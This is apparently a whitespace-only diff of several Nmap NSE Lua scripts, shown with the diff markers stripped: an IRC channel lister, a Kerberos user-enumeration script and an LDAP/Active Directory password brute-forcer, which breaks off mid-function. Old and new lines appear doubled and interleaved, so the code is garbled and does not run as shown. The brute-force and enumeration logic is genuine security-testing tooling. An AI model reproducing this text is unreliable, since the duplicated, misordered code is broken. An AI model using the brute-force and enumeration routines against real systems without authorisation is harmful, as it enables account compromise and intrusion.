local line
if next(irc.linebuf) then
line = table.remove(irc.linebuf, 1)
if string.match(line, "\r?\n$") then
return line
else
-- We had only half a line buffered.
return line .. irc.buf()
end
else
return irc.buf()
end
if next(irc.linebuf) then
line = table.remove(irc.linebuf, 1)
if string.match(line, "\r?\n$") then
return line
else
-- We had only half a line buffered.
return line .. irc.buf()
end
else
return irc.buf()
end
end
local function irc_read_message(irc)
local line, err
local line, err
line, err = irc_readline(irc)
if not line then
return nil, err
end
line, err = irc_readline(irc)
if not line then
return nil, err
end
return irc_parse_message(line)
return irc_parse_message(line)
end
local function irc_send_message(irc, prefix, command, ...)
local line
local line
line = irc_compose_message(prefix, command, ...)
irc.sd:send(line)
line = irc_compose_message(prefix, command, ...)
irc.sd:send(line)
end
-- Prefix channel names with '#' if necessary and concatenate into a
-- comma-separated list.
local function concat_channel_list(channels)
local mod = {}
local mod = {}
for _, channel in ipairs(channels) do
if not string.match(channel, "^#") then
channel = "#" .. channel
end
mod[#mod + 1] = channel
end
for _, channel in ipairs(channels) do
if not string.match(channel, "^#") then
channel = "#" .. channel
end
mod[#mod + 1] = channel
end
return stdnse.strjoin(",", mod)
return stdnse.strjoin(",", mod)
end
function action(host, port)
local irc
local search_channels
local channels
local errorparams
local irc
local search_channels
local channels
local errorparams
search_channels = stdnse.get_script_args(SCRIPT_NAME .. ".channels")
if not search_channels then
search_channels = DEFAULT_CHANNELS
elseif type(search_channels) == "string" then
search_channels = {search_channels}
end
search_channels = stdnse.get_script_args(SCRIPT_NAME .. ".channels")
if not search_channels then
search_channels = DEFAULT_CHANNELS
elseif type(search_channels) == "string" then
search_channels = {search_channels}
end
irc = irc_connect(host, port)
irc_send_message(irc, "LIST", concat_channel_list(search_channels))
irc = irc_connect(host, port)
irc_send_message(irc, "LIST", concat_channel_list(search_channels))
channels = {}
while true do
local status, prefix, code, params
channels = {}
while true do
local status, prefix, code, params
status, prefix, code, params = irc_read_message(irc)
if not status then
-- Error message from irc_read_message.
errorparams = {prefix}
break
elseif code == "ERROR" then
errorparams = params
break
elseif code == RPL_TRYAGAIN then
errorparams = params
break
elseif code == RPL_LIST then
if #params >= 2 then
channels[#channels + 1] = params[2]
else
stdnse.print_debug("Got short " .. RPL_LIST .. "response.")
end
elseif code == RPL_LISTEND then
break
end
end
irc_disconnect(irc)
status, prefix, code, params = irc_read_message(irc)
if not status then
-- Error message from irc_read_message.
errorparams = {prefix}
break
elseif code == "ERROR" then
errorparams = params
break
elseif code == RPL_TRYAGAIN then
errorparams = params
break
elseif code == RPL_LIST then
if #params >= 2 then
channels[#channels + 1] = params[2]
else
stdnse.print_debug("Got short " .. RPL_LIST .. "response.")
end
elseif code == RPL_LISTEND then
break
end
end
irc_disconnect(irc)
if errorparams then
channels[#channels + 1] = "ERROR: " .. stdnse.strjoin(" ", errorparams)
end
if errorparams then
channels[#channels + 1] = "ERROR: " .. stdnse.strjoin(" ", errorparams)
end
return stdnse.format_output(true, channels)
return stdnse.format_output(true, channels)
end

View File

@@ -56,235 +56,235 @@ portrule = shortport.port_or_service( 88, {"kerberos-sec"}, {"udp","tcp"}, {"ope
-- of it.
KRB5 = {
-- Valid Kerberos message types
MessageType = {
['AS-REQ'] = 10,
['AS-REP'] = 11,
['KRB-ERROR'] = 30,
},
-- Valid Kerberos message types
MessageType = {
['AS-REQ'] = 10,
['AS-REP'] = 11,
['KRB-ERROR'] = 30,
},
-- Some of the used error messages
ErrorMessages = {
['KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN'] = 6,
['KRB5KDC_ERR_PREAUTH_REQUIRED'] = 25,
['KDC_ERR_WRONG_REALM'] = 68,
},
-- Some of the used error messages
ErrorMessages = {
['KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN'] = 6,
['KRB5KDC_ERR_PREAUTH_REQUIRED'] = 25,
['KDC_ERR_WRONG_REALM'] = 68,
},
-- A list of some ot the encryption types
EncryptionTypes = {
{ ['aes256-cts-hmac-sha1-96'] = 18 },
{ ['aes128-cts-hmac-sha1-96'] = 17 },
{ ['des3-cbc-sha1'] = 16 },
{ ['rc4-hmac'] = 23 },
-- { ['des-cbc-crc'] = 1 },
-- { ['des-cbc-md5'] = 3 },
-- { ['des-cbc-md4'] = 2 }
},
-- A list of some ot the encryption types
EncryptionTypes = {
{ ['aes256-cts-hmac-sha1-96'] = 18 },
{ ['aes128-cts-hmac-sha1-96'] = 17 },
{ ['des3-cbc-sha1'] = 16 },
{ ['rc4-hmac'] = 23 },
-- { ['des-cbc-crc'] = 1 },
-- { ['des-cbc-md5'] = 3 },
-- { ['des-cbc-md4'] = 2 }
},
-- A list of principal name types
NameTypes = {
['NT-PRINCIPAL'] = 1,
['NT-SRV-INST'] = 2,
},
-- A list of principal name types
NameTypes = {
['NT-PRINCIPAL'] = 1,
['NT-SRV-INST'] = 2,
},
-- Creates a new Krb5 instance
-- @return o as the new instance
new = function(self)
local o = {}
setmetatable(o, self)
self.__index = self
return o
-- Creates a new Krb5 instance
-- @return o as the new instance
new = function(self)
local o = {}
setmetatable(o, self)
self.__index = self
return o
end,
-- A number of custom ASN1 decoders needed to decode the response
tagDecoder = {
["18"] = function( self, encStr, elen, pos )
return bin.unpack("A" .. elen, encStr, pos)
end,
-- A number of custom ASN1 decoders needed to decode the response
tagDecoder = {
["1B"] = function( ... ) return KRB5.tagDecoder["18"](...) end,
["18"] = function( self, encStr, elen, pos )
return bin.unpack("A" .. elen, encStr, pos)
end,
["6B"] = function( self, encStr, elen, pos )
local seq
pos, seq = self:decodeSeq(encStr, elen, pos)
return pos, seq
end,
["1B"] = function( ... ) return KRB5.tagDecoder["18"](...) end,
-- Not really sure what these are, but they all decode sequences
["7E"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A0"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A1"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A2"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A3"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A4"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A5"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A6"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A7"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A8"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A9"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["AA"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["AC"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["6B"] = function( self, encStr, elen, pos )
local seq
pos, seq = self:decodeSeq(encStr, elen, pos)
return pos, seq
end,
},
-- Not really sure what these are, but they all decode sequences
["7E"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A0"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A1"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A2"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A3"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A4"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A5"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A6"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A7"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A8"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A9"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["AA"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["AC"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
-- A few Kerberos ASN1 encoders
tagEncoder = {
},
['table'] = function(self, val)
-- A few Kerberos ASN1 encoders
tagEncoder = {
local types = {
['GeneralizedTime'] = 0x18,
['GeneralString'] = 0x1B,
}
['table'] = function(self, val)
local len = asn1.ASN1Encoder.encodeLength(#val[1])
local types = {
['GeneralizedTime'] = 0x18,
['GeneralString'] = 0x1B,
}
if ( val._type and types[val._type] ) then
return bin.pack("CAA", types[val._type], len, val[1])
elseif ( val._type and 'number' == type(val._type) ) then
return bin.pack("CAA", val._type, len, val[1])
end
local len = asn1.ASN1Encoder.encodeLength(#val[1])
end,
},
if ( val._type and types[val._type] ) then
return bin.pack("CAA", types[val._type], len, val[1])
elseif ( val._type and 'number' == type(val._type) ) then
return bin.pack("CAA", val._type, len, val[1])
end
-- Encodes a sequence using a custom type
-- @param encoder class containing an instance of a ASN1Encoder
-- @param seqtype number the sequence type to encode
-- @param seq string containing the sequence to encode
encodeSequence = function(self, encoder, seqtype, seq)
return encoder:encode( { _type = seqtype, seq } )
end,
end,
},
-- Encodes a Kerberos Principal
-- @param encoder class containing an instance of ASN1Encoder
-- @param name_type number containing a valid Kerberos name type
-- @param names table containing a list of names to encode
-- @return princ string containing an encoded principal
encodePrincipal = function(self, encoder, name_type, names )
local princ = ""
-- Encodes a sequence using a custom type
-- @param encoder class containing an instance of a ASN1Encoder
-- @param seqtype number the sequence type to encode
-- @param seq string containing the sequence to encode
encodeSequence = function(self, encoder, seqtype, seq)
return encoder:encode( { _type = seqtype, seq } )
end,
for _, n in ipairs(names) do
princ = princ .. encoder:encode( { _type = 'GeneralString', n } )
end
-- Encodes a Kerberos Principal
-- @param encoder class containing an instance of ASN1Encoder
-- @param name_type number containing a valid Kerberos name type
-- @param names table containing a list of names to encode
-- @return princ string containing an encoded principal
encodePrincipal = function(self, encoder, name_type, names )
local princ = ""
princ = self:encodeSequence(encoder, 0x30, princ)
princ = self:encodeSequence(encoder, 0xa1, princ)
princ = encoder:encode( name_type ) .. princ
for _, n in ipairs(names) do
princ = princ .. encoder:encode( { _type = 'GeneralString', n } )
end
-- not sure about how this works, but apparently it does
princ = bin.pack("H", "A003") .. princ
princ = self:encodeSequence(encoder,0x30, princ)
princ = self:encodeSequence(encoder, 0x30, princ)
princ = self:encodeSequence(encoder, 0xa1, princ)
princ = encoder:encode( name_type ) .. princ
return princ
end,
-- not sure about how this works, but apparently it does
princ = bin.pack("H", "A003") .. princ
princ = self:encodeSequence(encoder,0x30, princ)
-- Encodes the Kerberos AS-REQ request
-- @param realm string containing the Kerberos REALM
-- @param user string containing the Kerberos principal name
-- @param protocol string containing either of "tcp" or "udp"
-- @return data string containing the encoded request
encodeASREQ = function(self, realm, user, protocol)
return princ
end,
assert(protocol == "tcp" or protocol == "udp",
"Protocol has to be either \"tcp\" or \"udp\"")
-- Encodes the Kerberos AS-REQ request
-- @param realm string containing the Kerberos REALM
-- @param user string containing the Kerberos principal name
-- @param protocol string containing either of "tcp" or "udp"
-- @return data string containing the encoded request
encodeASREQ = function(self, realm, user, protocol)
local encoder = asn1.ASN1Encoder:new()
encoder:registerTagEncoders(KRB5.tagEncoder)
assert(protocol == "tcp" or protocol == "udp",
"Protocol has to be either \"tcp\" or \"udp\"")
local data = ""
local encoder = asn1.ASN1Encoder:new()
encoder:registerTagEncoders(KRB5.tagEncoder)
-- encode encryption types
for _,enctype in ipairs(KRB5.EncryptionTypes) do
for k, v in pairs( enctype ) do
data = data .. encoder:encode(v)
end
end
local data = ""
data = self:encodeSequence(encoder, 0x30, data )
data = self:encodeSequence(encoder, 0xA8, data )
-- encode encryption types
for _,enctype in ipairs(KRB5.EncryptionTypes) do
for k, v in pairs( enctype ) do
data = data .. encoder:encode(v)
end
end
-- encode nonce
local nonce = 155874945
data = self:encodeSequence(encoder, 0xA7, encoder:encode(nonce) ) .. data
data = self:encodeSequence(encoder, 0x30, data )
data = self:encodeSequence(encoder, 0xA8, data )
-- encode from/to
local fromdate = os.time() + 10 * 60 * 60
local from = os.date("%Y%m%d%H%M%SZ", fromdate)
data = self:encodeSequence(encoder, 0xA5, encoder:encode( { from, _type='GeneralizedTime' })) .. data
-- encode nonce
local nonce = 155874945
data = self:encodeSequence(encoder, 0xA7, encoder:encode(nonce) ) .. data
local names = { "krbtgt", realm }
local sname = self:encodePrincipal( encoder, KRB5.NameTypes['NT-SRV-INST'], names )
sname = self:encodeSequence(encoder, 0xA3, sname)
data = sname .. data
-- encode from/to
local fromdate = os.time() + 10 * 60 * 60
local from = os.date("%Y%m%d%H%M%SZ", fromdate)
data = self:encodeSequence(encoder, 0xA5, encoder:encode( { from, _type='GeneralizedTime' })) .. data
-- realm
data = self:encodeSequence(encoder, 0xA2, encoder:encode( { _type = 'GeneralString', realm })) .. data
local names = { "krbtgt", realm }
local sname = self:encodePrincipal( encoder, KRB5.NameTypes['NT-SRV-INST'], names )
sname = self:encodeSequence(encoder, 0xA3, sname)
data = sname .. data
local cname = self:encodePrincipal(encoder, KRB5.NameTypes['NT-PRINCIPAL'], { user })
cname = self:encodeSequence(encoder, 0xA1, cname)
data = cname .. data
-- realm
data = self:encodeSequence(encoder, 0xA2, encoder:encode( { _type = 'GeneralString', realm })) .. data
-- forwardable
local kdc_options = 0x40000000
data = bin.pack(">I", kdc_options) .. data
local cname = self:encodePrincipal(encoder, KRB5.NameTypes['NT-PRINCIPAL'], { user })
cname = self:encodeSequence(encoder, 0xA1, cname)
data = cname .. data
-- add padding
data = bin.pack("C", 0) .. data
-- forwardable
local kdc_options = 0x40000000
data = bin.pack(">I", kdc_options) .. data
-- hmm, wonder what this is
data = bin.pack("H", "A0070305") .. data
data = self:encodeSequence(encoder, 0x30, data)
data = self:encodeSequence(encoder, 0xA4, data)
data = self:encodeSequence(encoder, 0xA2, encoder:encode(KRB5.MessageType['AS-REQ'])) .. data
-- add padding
data = bin.pack("C", 0) .. data
local pvno = 5
data = self:encodeSequence(encoder, 0xA1, encoder:encode(pvno) ) .. data
-- hmm, wonder what this is
data = bin.pack("H", "A0070305") .. data
data = self:encodeSequence(encoder, 0x30, data)
data = self:encodeSequence(encoder, 0xA4, data)
data = self:encodeSequence(encoder, 0xA2, encoder:encode(KRB5.MessageType['AS-REQ'])) .. data
data = self:encodeSequence(encoder, 0x30, data)
data = self:encodeSequence(encoder, 0x6a, data)
local pvno = 5
data = self:encodeSequence(encoder, 0xA1, encoder:encode(pvno) ) .. data
if ( protocol == "tcp" ) then
data = bin.pack(">I", #data) .. data
end
data = self:encodeSequence(encoder, 0x30, data)
data = self:encodeSequence(encoder, 0x6a, data)
return data
end,
if ( protocol == "tcp" ) then
data = bin.pack(">I", #data) .. data
end
-- Parses the result from the AS-REQ
-- @param data string containing the raw unparsed data
-- @return status boolean true on success, false on failure
-- @return msg table containing the fields <code>type</code> and
-- <code>error_code</code> if the type is an error.
parseResult = function(self, data)
return data
end,
-- Parses the result from the AS-REQ
-- @param data string containing the raw unparsed data
-- @return status boolean true on success, false on failure
-- @return msg table containing the fields <code>type</code> and
-- <code>error_code</code> if the type is an error.
parseResult = function(self, data)
local decoder = asn1.ASN1Decoder:new()
decoder:registerTagDecoders(KRB5.tagDecoder)
decoder:setStopOnError(true)
local pos, result = decoder:decode(data)
local msg = {}
local decoder = asn1.ASN1Decoder:new()
decoder:registerTagDecoders(KRB5.tagDecoder)
decoder:setStopOnError(true)
local pos, result = decoder:decode(data)
local msg = {}
if ( #result == 0 or #result[1] < 2 or #result[1][2] < 1 ) then
return false, nil
end
if ( #result == 0 or #result[1] < 2 or #result[1][2] < 1 ) then
return false, nil
end
msg.type = result[1][2][1]
msg.type = result[1][2][1]
if ( msg.type == KRB5.MessageType['KRB-ERROR'] ) then
if ( #result[1] < 5 and #result[1][5] < 1 ) then
return false, nil
end
if ( msg.type == KRB5.MessageType['KRB-ERROR'] ) then
if ( #result[1] < 5 and #result[1][5] < 1 ) then
return false, nil
end
msg.error_code = result[1][5][1]
return true, msg
elseif ( msg.type == KRB5.MessageType['AS-REP'] ) then
return true, msg
end
msg.error_code = result[1][5][1]
return true, msg
elseif ( msg.type == KRB5.MessageType['AS-REP'] ) then
return true, msg
end
return false, nil
end,
return false, nil
end,
}
@@ -297,42 +297,42 @@ KRB5 = {
-- @return state VALID or INVALID or error message if status was false
local function checkUser( host, port, realm, user )
local krb5 = KRB5:new()
local data = krb5:encodeASREQ(realm, user, port.protocol)
local socket = nmap.new_socket()
local status = socket:connect(host, port)
local krb5 = KRB5:new()
local data = krb5:encodeASREQ(realm, user, port.protocol)
local socket = nmap.new_socket()
local status = socket:connect(host, port)
if ( not(status) ) then
return false, "ERROR: Failed to connect to Kerberos service"
end
if ( not(status) ) then
return false, "ERROR: Failed to connect to Kerberos service"
end
socket:send(data)
status, data = socket:receive()
socket:send(data)
status, data = socket:receive()
if ( port.protocol == 'tcp' ) then data = data:sub(5) end
if ( port.protocol == 'tcp' ) then data = data:sub(5) end
if ( not(status) ) then
return false, "ERROR: Failed to receive result from Kerberos service"
end
socket:close()
if ( not(status) ) then
return false, "ERROR: Failed to receive result from Kerberos service"
end
socket:close()
local msg
status, msg = krb5:parseResult(data)
local msg
status, msg = krb5:parseResult(data)
if ( not(status) ) then
return false, "ERROR: Failed to parse the result returned from the Kerberos service"
end
if ( not(status) ) then
return false, "ERROR: Failed to parse the result returned from the Kerberos service"
end
if ( msg and msg.error_code ) then
if ( msg.error_code == KRB5.ErrorMessages['KRB5KDC_ERR_PREAUTH_REQUIRED'] ) then
return true, "VALID"
elseif ( msg.error_code == KRB5.ErrorMessages['KDC_ERR_WRONG_REALM'] ) then
return false, "Invalid Kerberos REALM"
end
elseif ( msg.type == KRB5.MessageType['AS-REP'] ) then
return true, "VALID"
end
return true, "INVALID"
if ( msg and msg.error_code ) then
if ( msg.error_code == KRB5.ErrorMessages['KRB5KDC_ERR_PREAUTH_REQUIRED'] ) then
return true, "VALID"
elseif ( msg.error_code == KRB5.ErrorMessages['KDC_ERR_WRONG_REALM'] ) then
return false, "Invalid Kerberos REALM"
end
elseif ( msg.type == KRB5.MessageType['AS-REP'] ) then
return true, "VALID"
end
return true, "INVALID"
end
-- Checks whether the Kerberos REALM exists or not
@@ -341,7 +341,7 @@ end
-- @param realm string containing the Kerberos REALM
-- @return status boolean, true on success, false on failure
local function isValidRealm( host, port, realm )
return checkUser( host, port, realm, "nmap")
return checkUser( host, port, realm, "nmap")
end
-- Wraps the checkUser function so that it is suitable to be called from
@@ -352,53 +352,53 @@ end
-- @param user string containing the Kerberos principal
-- @param result table to which all discovered users are added
local function checkUserThread( host, port, realm, user, result )
local condvar = nmap.condvar(result)
local status, state = checkUser(host, port, realm, user)
if ( status and state == "VALID" ) then
table.insert(result, ("%s@%s"):format(user,realm))
end
condvar "signal"
local condvar = nmap.condvar(result)
local status, state = checkUser(host, port, realm, user)
if ( status and state == "VALID" ) then
table.insert(result, ("%s@%s"):format(user,realm))
end
condvar "signal"
end
action = function( host, port )
local realm = stdnse.get_script_args("krb5-enum-users.realm")
local result = {}
local condvar = nmap.condvar(result)
local realm = stdnse.get_script_args("krb5-enum-users.realm")
local result = {}
local condvar = nmap.condvar(result)
-- did the user supply a realm
if ( not(realm) ) then
return "ERROR: No Kerberos REALM was supplied, aborting ..."
end
-- did the user supply a realm
if ( not(realm) ) then
return "ERROR: No Kerberos REALM was supplied, aborting ..."
end
-- does the realm appear to exist
if ( not(isValidRealm(host, port, realm)) ) then
return "ERROR: Invalid Kerberos REALM, aborting ..."
end
-- does the realm appear to exist
if ( not(isValidRealm(host, port, realm)) ) then
return "ERROR: Invalid Kerberos REALM, aborting ..."
end
-- load our user database from unpwdb
local status, usernames = unpwdb.usernames()
if( not(status) ) then return "ERROR: Failed to load unpwdb usernames" end
-- load our user database from unpwdb
local status, usernames = unpwdb.usernames()
if( not(status) ) then return "ERROR: Failed to load unpwdb usernames" end
-- start as many threads as there are names in the list
local threads = {}
for user in usernames do
local co = stdnse.new_thread( checkUserThread, host, port, realm, user, result )
threads[co] = true
end
-- start as many threads as there are names in the list
local threads = {}
for user in usernames do
local co = stdnse.new_thread( checkUserThread, host, port, realm, user, result )
threads[co] = true
end
-- wait for all threads to finish up
repeat
for t in pairs(threads) do
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
end
if ( next(threads) ) then
condvar "wait"
end
until( next(threads) == nil )
-- wait for all threads to finish up
repeat
for t in pairs(threads) do
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
end
if ( next(threads) ) then
condvar "wait"
end
until( next(threads) == nil )
if ( #result > 0 ) then
result = { name = "Discovered Kerberos principals", result }
end
return stdnse.format_output(true, result)
if ( #result > 0 ) then
result = { name = "Discovered Kerberos principals", result }
end
return stdnse.format_output(true, result)
end

View File

@@ -98,25 +98,25 @@ portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"})
-- @return string containing a valid naming context
function get_naming_context( socket )
local req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = { "defaultNamingContext", "namingContexts" } }
local status, searchResEntries = ldap.searchRequest( socket, req )
local req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = { "defaultNamingContext", "namingContexts" } }
local status, searchResEntries = ldap.searchRequest( socket, req )
if not status then
return nil
end
if not status then
return nil
end
local contexts = ldap.extractAttribute( searchResEntries, "defaultNamingContext" )
local contexts = ldap.extractAttribute( searchResEntries, "defaultNamingContext" )
-- OpenLDAP does not have a defaultNamingContext
if not contexts then
contexts = ldap.extractAttribute( searchResEntries, "namingContexts" )
end
-- OpenLDAP does not have a defaultNamingContext
if not contexts then
contexts = ldap.extractAttribute( searchResEntries, "namingContexts" )
end
if contexts and #contexts > 0 then
return contexts[1]
end
if contexts and #contexts > 0 then
return contexts[1]
end
return nil
return nil
end
--- Attempts to validate the credentials by requesting the base object of the supplied context
@@ -125,194 +125,194 @@ end
-- @param context string containing the context to search
-- @return true if credentials are valid and search was a success, false if not.
function is_valid_credential( socket, context )
local req = { baseObject = context, scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = nil }
local status, searchResEntries = ldap.searchRequest( socket, req )
local req = { baseObject = context, scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = nil }
local status, searchResEntries = ldap.searchRequest( socket, req )
return status
return status
end
action = function( host, port )
local result, response, status, err, context, output, valid_accounts = {}, nil, nil, nil, nil, nil, {}
local usernames, passwords, username, password, fq_username
local user_cnt, invalid_account_cnt, tot_tries = 0, 0, 0
local result, response, status, err, context, output, valid_accounts = {}, nil, nil, nil, nil, nil, {}
local usernames, passwords, username, password, fq_username
local user_cnt, invalid_account_cnt, tot_tries = 0, 0, 0
local clock_start = nmap.clock_ms()
local clock_start = nmap.clock_ms()
local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 )
local socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil )
local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 )
local socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil )
local base_dn = stdnse.get_script_args('ldap.base')
local upn_suffix = stdnse.get_script_args('ldap.upnsuffix')
local base_dn = stdnse.get_script_args('ldap.base')
local upn_suffix = stdnse.get_script_args('ldap.upnsuffix')
local output_type = stdnse.get_script_args('ldap.savetype')
local output_type = stdnse.get_script_args('ldap.savetype')
local output_prefix = nil
if ( stdnse.get_script_args('ldap.saveprefix') ) then
output_prefix = stdnse.get_script_args('ldap.saveprefix')
elseif ( output_type ) then
output_prefix = "ldap-brute"
end
local output_prefix = nil
if ( stdnse.get_script_args('ldap.saveprefix') ) then
output_prefix = stdnse.get_script_args('ldap.saveprefix')
elseif ( output_type ) then
output_prefix = "ldap-brute"
end
local credTable = creds.Credentials:new(SCRIPT_NAME, host, port)
local credTable = creds.Credentials:new(SCRIPT_NAME, host, port)
if not socket then
return
end
if not socket then
return
end
-- We close and re-open the socket so that the anonymous bind does not distract us
socket:close()
-- set a reasonable timeout value
socket:set_timeout(5000)
status = socket:connect(host, port, opt)
if not status then
return
end
-- We close and re-open the socket so that the anonymous bind does not distract us
socket:close()
-- set a reasonable timeout value
socket:set_timeout(5000)
status = socket:connect(host, port, opt)
if not status then
return
end
context = get_naming_context(socket)
context = get_naming_context(socket)
if not context then
stdnse.print_debug("Failed to retrieve namingContext")
socket:close()
return
end
if not context then
stdnse.print_debug("Failed to retrieve namingContext")
socket:close()
return
end
status, usernames = unpwdb.usernames()
if not status then
return
end
status, usernames = unpwdb.usernames()
if not status then
return
end
status, passwords = unpwdb.passwords()
if not status then
return
end
status, passwords = unpwdb.passwords()
if not status then
return
end
for username in usernames do
-- if a base DN was set append our username (CN) to the base
if base_dn then
fq_username = ("cn=%s,%s"):format(username, base_dn)
elseif upn_suffix then
fq_username = ("%s@%s"):format(username, upn_suffix)
else
fq_username = username
end
for username in usernames do
-- if a base DN was set append our username (CN) to the base
if base_dn then
fq_username = ("cn=%s,%s"):format(username, base_dn)
elseif upn_suffix then
fq_username = ("%s@%s"):format(username, upn_suffix)
else
fq_username = username
end
user_cnt = user_cnt + 1
for password in passwords do
tot_tries = tot_tries + 1
user_cnt = user_cnt + 1
for password in passwords do
tot_tries = tot_tries + 1
-- handle special case where we want to guess the username as password
if password == "%username%" then
password = username
end
-- handle special case where we want to guess the username as password
if password == "%username%" then
password = username
end
stdnse.print_debug( "Trying %s/%s ...", fq_username, password )
status, response = ldap.bindRequest( socket, { version=3, ['username']=fq_username, ['password']=password} )
stdnse.print_debug( "Trying %s/%s ...", fq_username, password )
status, response = ldap.bindRequest( socket, { version=3, ['username']=fq_username, ['password']=password} )
-- if the DN (username) does not exist, break loop
if not status and response:match("invalid DN") then
stdnse.print_debug( "%s returned: \"Invalid DN\"", fq_username )
invalid_account_cnt = invalid_account_cnt + 1
break
end
-- if the DN (username) does not exist, break loop
if not status and response:match("invalid DN") then
stdnse.print_debug( "%s returned: \"Invalid DN\"", fq_username )
invalid_account_cnt = invalid_account_cnt + 1
break
end
-- Is AD telling us the account does not exist?
if not status and response:match("AcceptSecurityContext error, data 525,") then
invalid_account_cnt = invalid_account_cnt + 1
break
end
-- Is AD telling us the account does not exist?
if not status and response:match("AcceptSecurityContext error, data 525,") then
invalid_account_cnt = invalid_account_cnt + 1
break
end
-- Account Locked Out
if not status and response:match("AcceptSecurityContext error, data 775,") then
table.insert( valid_accounts, string.format("%s => Valid credentials, account locked", fq_username ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s => Valid credentials, account locked", fq_username ))
credTable:add(fq_username,password, creds.State.LOCKED_VALID)
break
end
-- Account Locked Out
if not status and response:match("AcceptSecurityContext error, data 775,") then
table.insert( valid_accounts, string.format("%s => Valid credentials, account locked", fq_username ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s => Valid credentials, account locked", fq_username ))
credTable:add(fq_username,password, creds.State.LOCKED_VALID)
break
end
-- Login correct, account disabled
if not status and response:match("AcceptSecurityContext error, data 533,") then
table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account disabled", fq_username, password:len()>0 and password or "<empty>" ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials, account disabled", fq_username, password:len()>0 and password or "<empty>" ))
credTable:add(fq_username,password, creds.State.DISABLED_VALID)
break
end
-- Login correct, account disabled
if not status and response:match("AcceptSecurityContext error, data 533,") then
table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account disabled", fq_username, password:len()>0 and password or "<empty>" ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials, account disabled", fq_username, password:len()>0 and password or "<empty>" ))
credTable:add(fq_username,password, creds.State.DISABLED_VALID)
break
end
-- Login correct, user must change password
if not status and response:match("AcceptSecurityContext error, data 773,") then
table.insert( valid_accounts, string.format("%s:%s => Valid credentials, password must be changed at next logon", fq_username, password:len()>0 and password or "<empty>" ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials, password must be changed at next logon", fq_username, password:len()>0 and password or "<empty>" ))
credTable:add(fq_username,password, creds.State.CHANGEPW)
break
end
-- Login correct, user must change password
if not status and response:match("AcceptSecurityContext error, data 773,") then
table.insert( valid_accounts, string.format("%s:%s => Valid credentials, password must be changed at next logon", fq_username, password:len()>0 and password or "<empty>" ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials, password must be changed at next logon", fq_username, password:len()>0 and password or "<empty>" ))
credTable:add(fq_username,password, creds.State.CHANGEPW)
break
end
-- Login correct, user account expired
if not status and response:match("AcceptSecurityContext error, data 701,") then
table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account expired", fq_username, password:len()>0 and password or "<empty>" ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials, account expired", fq_username, password:len()>0 and password or "<empty>" ))
credTable:add(fq_username,password, creds.State.EXPIRED)
break
end
-- Login correct, user account expired
if not status and response:match("AcceptSecurityContext error, data 701,") then
table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account expired", fq_username, password:len()>0 and password or "<empty>" ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials, account expired", fq_username, password:len()>0 and password or "<empty>" ))
credTable:add(fq_username,password, creds.State.EXPIRED)
break
end
-- Login correct, user account logon time restricted
if not status and response:match("AcceptSecurityContext error, data 530,") then
table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account cannot log in at current time", fq_username, password:len()>0 and password or "<empty>" ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials, account cannot log in at current time", fq_username, password:len()>0 and password or "<empty>" ))
credTable:add(fq_username,password, creds.State.TIME_RESTRICTED)
break
end
-- Login correct, user account logon time restricted
if not status and response:match("AcceptSecurityContext error, data 530,") then
